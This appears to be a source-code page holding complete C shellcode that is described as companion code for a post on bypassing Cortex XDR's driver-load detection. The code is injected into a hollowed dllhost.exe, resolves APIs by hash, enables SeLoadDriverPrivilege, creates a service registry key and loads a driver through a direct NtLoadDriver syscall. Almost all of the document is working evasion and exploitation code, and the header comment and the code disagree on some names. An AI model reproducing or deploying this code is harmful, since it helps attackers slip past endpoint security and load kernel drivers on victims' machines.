Files
TREXNEGRO e6fb531cdf dllhost-hollow-shellcode: companion code for the Cortex XDR bypass post
Process hollowing of dllhost.exe + 2.7 KB position-independent shellcode
+ direct NtLoadDriver syscall. Eight rounds of iteration against the
Cortex XDR sync.suspicious_driver_service_creation rule family, ending in
end-to-end success with the deployed Win11 24H2 ruleset silent.

The specific signed driver, the new primitives it exposes, and the IOCTL
walkthrough are tracked separately through coordinated disclosure.

Companion post: https://trexnegro.github.io/posts/bypassing-cortex-driver-load-coverage-process-hollow-shellcode/
2026-06-04 03:19:24 +00:00

354 lines
14 KiB
C

/*
* shellcode.c -- position-independent shellcode que carga mydrv.sys
* via NtLoadDriver syscall, inyectado dentro de dllhost.exe hollowed.
*
* Flow:
* 1. PEB walk para kernel32, ntdll
* 2. Resolver imports via export-walk + FNV1A hash
* 3. LoadLibraryA("advapi32.dll") + resolver registry/token APIs
* 4. OpenProcessToken + LookupPrivilegeValueA(SeLoadDriverPrivilege)
* + AdjustTokenPrivileges
* 5. RegCreateKeyExA + RegSetValueExA x4 (ImagePath, Type, Start, ErrorControl)
* 6. Find NtLoadDriver SSN via ntdll export
* 7. UNICODE_STRING para "\Registry\Machine\System\CCS\Services\MyDrv"
* 8. syscall NtLoadDriver
* 9. Write marker file C:\Tools\load_status.txt
* 10. syscall NtTerminateProcess(-1, 0)
*
* Build:
* x86_64-w64-mingw32-gcc -ffreestanding -fPIC -nostdlib -nostartfiles \
* -fno-stack-protector -fno-unwind-tables -fno-asynchronous-unwind-tables \
* -mno-red-zone -Os -Wl,-T,sc.ld,-e_sc_entry shellcode.c -o sc.elf
* x86_64-w64-mingw32-objcopy -O binary --only-section=.text sc.elf sc.bin
*/
#include <stdint.h>
typedef struct _UNICODE_STR {
uint16_t Length;
uint16_t MaximumLength;
uint16_t *Buffer;
} UNICODE_STR;
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY;
typedef struct _LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
void *DllBase;
void *EntryPoint;
uint32_t SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
} LDR_ENTRY;
typedef struct _PEB_LDR {
uint32_t Length;
uint8_t Initialized;
void *SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR;
typedef struct _PEB_MIN {
uint8_t pad0[0x18];
PEB_LDR *Ldr;
} PEB_MIN;
/* PE typedefs minimal */
typedef struct {
uint16_t e_magic;
uint8_t pad[0x3a];
uint32_t e_lfanew;
} DOS_HDR;
typedef struct {
uint32_t Signature;
uint16_t Machine;
uint16_t NumberOfSections;
uint32_t TimeDateStamp;
uint32_t PointerToSymbolTable;
uint32_t NumberOfSymbols;
uint16_t SizeOfOptionalHeader;
uint16_t Characteristics;
uint8_t OptionalHeader[112 /* up to DataDirectory */];
/* DataDirectory[16] -- entry 0 = export */
uint64_t DataDirEntries[16];
} NT_HDR;
/* ---------- helpers ---------- */
static PEB_MIN *get_peb(void) {
PEB_MIN *p;
__asm__("mov %%gs:0x60, %0" : "=r"(p));
return p;
}
static int wstreq_i(const uint16_t *a, const char *b) {
while (*a && *b) {
uint16_t ca = *a;
if (ca >= 'A' && ca <= 'Z') ca += 32;
uint8_t cb = *b;
if (cb >= 'A' && cb <= 'Z') cb += 32;
if (ca != cb) return 0;
a++; b++;
}
return *a == 0 && *b == 0;
}
static int streq(const char *a, const char *b) {
while (*a && *b && *a == *b) { a++; b++; }
return *a == 0 && *b == 0;
}
static uint32_t fnv1a(const char *s) {
uint32_t h = 0x811C9DC5;
while (*s) {
h ^= (uint32_t)(uint8_t)*s++;
h *= 0x01000193;
}
return h;
}
static void *find_module(const char *basename_ascii) {
PEB_MIN *peb = get_peb();
if (!peb || !peb->Ldr) return 0;
LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY *cur = head->Flink;
while (cur != head) {
LDR_ENTRY *e = (LDR_ENTRY *)((uint8_t *)cur - sizeof(LIST_ENTRY));
if (e->BaseDllName.Buffer && wstreq_i(e->BaseDllName.Buffer, basename_ascii))
return e->DllBase;
cur = cur->Flink;
}
return 0;
}
static void *find_export_by_hash(void *dll_base, uint32_t hash) {
if (!dll_base) return 0;
DOS_HDR *dos = (DOS_HDR *)dll_base;
NT_HDR *nt = (NT_HDR *)((uint8_t *)dll_base + dos->e_lfanew);
uint32_t exp_rva = (uint32_t)(nt->DataDirEntries[0] & 0xFFFFFFFF);
uint32_t exp_size = (uint32_t)(nt->DataDirEntries[0] >> 32);
if (!exp_rva || !exp_size) return 0;
typedef struct {
uint32_t Characteristics, TimeDateStamp;
uint16_t MajorVersion, MinorVersion;
uint32_t Name, Base, NumberOfFunctions, NumberOfNames;
uint32_t AddressOfFunctions, AddressOfNames, AddressOfNameOrdinals;
} EXP_DIR;
EXP_DIR *exp = (EXP_DIR *)((uint8_t *)dll_base + exp_rva);
uint32_t *names = (uint32_t *)((uint8_t *)dll_base + exp->AddressOfNames);
uint16_t *ords = (uint16_t *)((uint8_t *)dll_base + exp->AddressOfNameOrdinals);
uint32_t *funcs = (uint32_t *)((uint8_t *)dll_base + exp->AddressOfFunctions);
for (uint32_t i = 0; i < exp->NumberOfNames; ++i) {
const char *n = (const char *)((uint8_t *)dll_base + names[i]);
if (fnv1a(n) == hash)
return (uint8_t *)dll_base + funcs[ords[i]];
}
return 0;
}
/* read SSN from clean Nt* stub: 4C 8B D1 B8 <ssn:4> */
static uint32_t read_ssn(void *stub) {
uint8_t *s = (uint8_t *)stub;
if (!s) return 0xFFFFFFFF;
if (s[0] == 0x4C && s[1] == 0x8B && s[2] == 0xD1 && s[3] == 0xB8)
return *(uint32_t *)(s + 4);
return 0xFFFFFFFF;
}
/* Inline trampoline that does the syscall.
* Args follow MS x64 convention (rcx, rdx, r8, r9, stack...).
* `ssn` is the system service number.
*/
static __attribute__((naked)) int64_t do_syscall(
uint32_t ssn, void *a1, void *a2, void *a3, void *a4)
{
__asm__(
"mov %rcx, %r10\n" /* save ssn temp */
"mov %rdx, %rcx\n" /* a1 -> rcx */
"mov %r8, %rdx\n" /* a2 -> rdx */
"mov %r9, %r8 \n" /* a3 -> r8 */
"mov 0x28(%rsp), %r9\n" /* a4 -> r9 (from shadow space slot) */
"mov %r10d, %eax\n" /* ssn -> eax */
"mov %rcx, %r10\n" /* MS syscall conv: r10 = rcx */
"syscall\n"
"ret\n"
);
}
/* ---------- typedefs of API we call ---------- */
typedef void *(__attribute__((ms_abi)) *LoadLibraryA_t)(const char *);
typedef void *(__attribute__((ms_abi)) *GetProcAddress_t)(void *, const char *);
typedef int (__attribute__((ms_abi)) *OpenProcessToken_t)(void *proc, uint32_t access, void **tok);
typedef void *(__attribute__((ms_abi)) *GetCurrentProcess_t)(void);
typedef int (__attribute__((ms_abi)) *LookupPrivilegeValueA_t)(const char *sys, const char *name, void *luid);
typedef int (__attribute__((ms_abi)) *AdjustTokenPrivileges_t)(void *tok, int dis, void *new, uint32_t buflen, void *prev, uint32_t *retlen);
typedef int (__attribute__((ms_abi)) *CloseHandle_t)(void *h);
typedef int (__attribute__((ms_abi)) *RegCreateKeyExA_t)(void *root, const char *sub, uint32_t res, char *cls, uint32_t opt, uint32_t sam, void *sa, void **out, uint32_t *disp);
typedef int (__attribute__((ms_abi)) *RegSetValueExA_t)(void *key, const char *name, uint32_t res, uint32_t type, const uint8_t *data, uint32_t cb);
typedef int (__attribute__((ms_abi)) *RegCloseKey_t)(void *key);
typedef void *(__attribute__((ms_abi)) *CreateFileA_t)(const char *, uint32_t, uint32_t, void *, uint32_t, uint32_t, void *);
typedef int (__attribute__((ms_abi)) *WriteFile_t)(void *, const void *, uint32_t, uint32_t *, void *);
typedef int (__attribute__((ms_abi)) *CreateDirectoryA_t)(const char *, void *);
typedef struct {
uint32_t LowPart;
int32_t HighPart;
} LUID;
typedef struct {
uint32_t PrivilegeCount;
LUID Luid;
uint32_t Attributes;
} TOKEN_PRIVS_ONE;
/* registry constants */
#define KEY_ALL_ACCESS 0xF003F
#define REG_OPTION_NON_VOLATILE 0
#define REG_DWORD 4
#define REG_EXPAND_SZ 2
#define TOKEN_ADJUST_PRIVS 0x20
#define TOKEN_QUERY 0x08
#define SE_PRIVILEGE_ENABLED 2
#define HKEY_LOCAL_MACHINE ((void *)0x80000002UL)
#define GENERIC_WRITE 0x40000000
#define FILE_SHARE_READ 1
#define FILE_SHARE_WRITE 2
#define OPEN_ALWAYS 4
#define FILE_ATTRIBUTE_NORMAL 0x80
#define INVALID_HANDLE_VALUE ((void *)-1)
/* ---------- entry ---------- */
void __attribute__((section(".text"))) sc_entry(void) {
/* 1) bases */
void *k32 = find_module("kernel32.dll");
void *ntdll = find_module("ntdll.dll");
if (!k32 || !ntdll) goto die;
/* 2) resolve kernel32 essentials */
LoadLibraryA_t pLL = (LoadLibraryA_t) find_export_by_hash(k32, fnv1a("LoadLibraryA"));
GetProcAddress_t pGP = (GetProcAddress_t) find_export_by_hash(k32, fnv1a("GetProcAddress"));
if (!pLL || !pGP) goto die;
/* helper macros */
#define K32(name) pGP(k32, name)
GetCurrentProcess_t pGCP = (GetCurrentProcess_t)K32("GetCurrentProcess");
CloseHandle_t pCH = (CloseHandle_t) K32("CloseHandle");
CreateFileA_t pCFA = (CreateFileA_t) K32("CreateFileA");
WriteFile_t pWF = (WriteFile_t) K32("WriteFile");
CreateDirectoryA_t pCDA = (CreateDirectoryA_t) K32("CreateDirectoryA");
if (!pGCP || !pCH || !pCFA || !pWF || !pCDA) goto die;
/* 3) load advapi32 + resolve */
char advapi[] = {'a','d','v','a','p','i','3','2','.','d','l','l',0};
void *adv = pLL(advapi);
if (!adv) goto die;
OpenProcessToken_t pOPT = (OpenProcessToken_t) pGP(adv, "OpenProcessToken");
LookupPrivilegeValueA_t pLPV = (LookupPrivilegeValueA_t) pGP(adv, "LookupPrivilegeValueA");
AdjustTokenPrivileges_t pATP = (AdjustTokenPrivileges_t) pGP(adv, "AdjustTokenPrivileges");
RegCreateKeyExA_t pRCK = (RegCreateKeyExA_t) pGP(adv, "RegCreateKeyExA");
RegSetValueExA_t pRSV = (RegSetValueExA_t) pGP(adv, "RegSetValueExA");
RegCloseKey_t pRCl = (RegCloseKey_t) pGP(adv, "RegCloseKey");
if (!pOPT || !pLPV || !pATP || !pRCK || !pRSV || !pRCl) goto die;
/* 4) Enable SeLoadDriverPrivilege */
void *tok = 0;
if (!pOPT(pGCP(), TOKEN_ADJUST_PRIVS | TOKEN_QUERY, &tok) || !tok) goto die;
char se_load_drv[] = {'S','e','L','o','a','d','D','r','i','v','e','r','P','r','i','v','i','l','e','g','e',0};
LUID luid = {0};
if (!pLPV(0, se_load_drv, &luid)) { pCH(tok); goto die; }
TOKEN_PRIVS_ONE tp = { 1, luid, SE_PRIVILEGE_ENABLED };
pATP(tok, 0, &tp, sizeof tp, 0, 0);
pCH(tok);
/* 5) Reg create + set values */
char key_path[] = {'S','Y','S','T','E','M','\\','C','u','r','r','e','n','t','C','o','n','t','r','o','l','S','e','t','\\','S','e','r','v','i','c','e','s','\\','W','i','n','M','s','r',0};
void *hKey = 0;
if (pRCK(HKEY_LOCAL_MACHINE, key_path, 0, 0, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, 0, &hKey, 0) != 0 || !hKey) goto die;
/* ImagePath = "\??\C:\Tools\mydrv.sys" */
char img_path[] = {'\\','?','?','\\','C',':','\\','T','o','o','l','s','\\','m','y','d','r','v','.','s','y','s',0};
char img_name[] = {'I','m','a','g','e','P','a','t','h',0};
pRSV(hKey, img_name, 0, REG_EXPAND_SZ, (const uint8_t *)img_path, sizeof img_path);
uint32_t type_val = 1, start_val = 3, errctl_val = 1;
char type_name[] = {'T','y','p','e',0};
char start_name[] = {'S','t','a','r','t',0};
char ec_name[] = {'E','r','r','o','r','C','o','n','t','r','o','l',0};
pRSV(hKey, type_name, 0, REG_DWORD, (const uint8_t *)&type_val, 4);
pRSV(hKey, start_name, 0, REG_DWORD, (const uint8_t *)&start_val, 4);
pRSV(hKey, ec_name, 0, REG_DWORD, (const uint8_t *)&errctl_val, 4);
pRCl(hKey);
/* 6) Resolve NtLoadDriver SSN */
void *p_NtLoadDriver = find_export_by_hash(ntdll, fnv1a("NtLoadDriver"));
if (!p_NtLoadDriver) goto die;
uint32_t ssn_load = read_ssn(p_NtLoadDriver);
if (ssn_load == 0xFFFFFFFF) goto die;
/* 7) UNICODE_STRING para "\Registry\Machine\System\CurrentControlSet\Services\MyDrv"
* Construir wide-string en stack. */
static const uint16_t reg_path_w[] = {
'\\','R','e','g','i','s','t','r','y','\\','M','a','c','h','i','n','e',
'\\','S','y','s','t','e','m','\\','C','u','r','r','e','n','t','C','o','n','t','r','o','l','S','e','t',
'\\','S','e','r','v','i','c','e','s','\\','W','i','n','M','s','r', 0
};
/* Copy to stack array (so it's reachable position-independent through rip-rel) */
uint16_t buf[80];
int i; for (i = 0; reg_path_w[i] && i < 79; ++i) buf[i] = reg_path_w[i]; buf[i] = 0;
UNICODE_STR us;
us.Length = (uint16_t)(i * 2);
us.MaximumLength = (uint16_t)((i + 1) * 2);
us.Buffer = buf;
/* 8) syscall NtLoadDriver(&us) */
int64_t status = do_syscall(ssn_load, &us, 0, 0, 0);
/* 9) Write marker file */
char dir[] = {'C',':','\\','T','o','o','l','s',0};
char path[] = {'C',':','\\','T','o','o','l','s','\\','v','9','_','s','t','a','t','u','s','.','t','x','t',0};
pCDA(dir, 0);
void *h = pCFA(path, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (h != INVALID_HANDLE_VALUE && h != 0) {
char msg[64];
char *m = msg;
const char *prefix = "[v9 sc] NtLoadDriver status=0x";
const char *cur = prefix;
while (*cur) *m++ = *cur++;
/* hex(status low 32) */
uint32_t v = (uint32_t)status;
for (int b = 7; b >= 0; --b) {
uint32_t n = (v >> (b * 4)) & 0xF;
*m++ = n < 10 ? '0' + n : 'a' + (n - 10);
}
*m++ = '\r'; *m++ = '\n';
uint32_t wr = 0;
pWF(h, msg, (uint32_t)(m - msg), &wr, 0);
pCH(h);
}
die:
/* 10) clean exit via NtTerminateProcess(-1, 0) */
{
void *p_NtTerm = find_export_by_hash(ntdll, fnv1a("NtTerminateProcess"));
uint32_t ssn_term = read_ssn(p_NtTerm);
if (ssn_term != 0xFFFFFFFF) {
do_syscall(ssn_term, (void *)(intptr_t)-1, (void *)0, 0, 0);
}
/* fallback infinite halt */
for (;;) __asm__ volatile("hlt");
}
}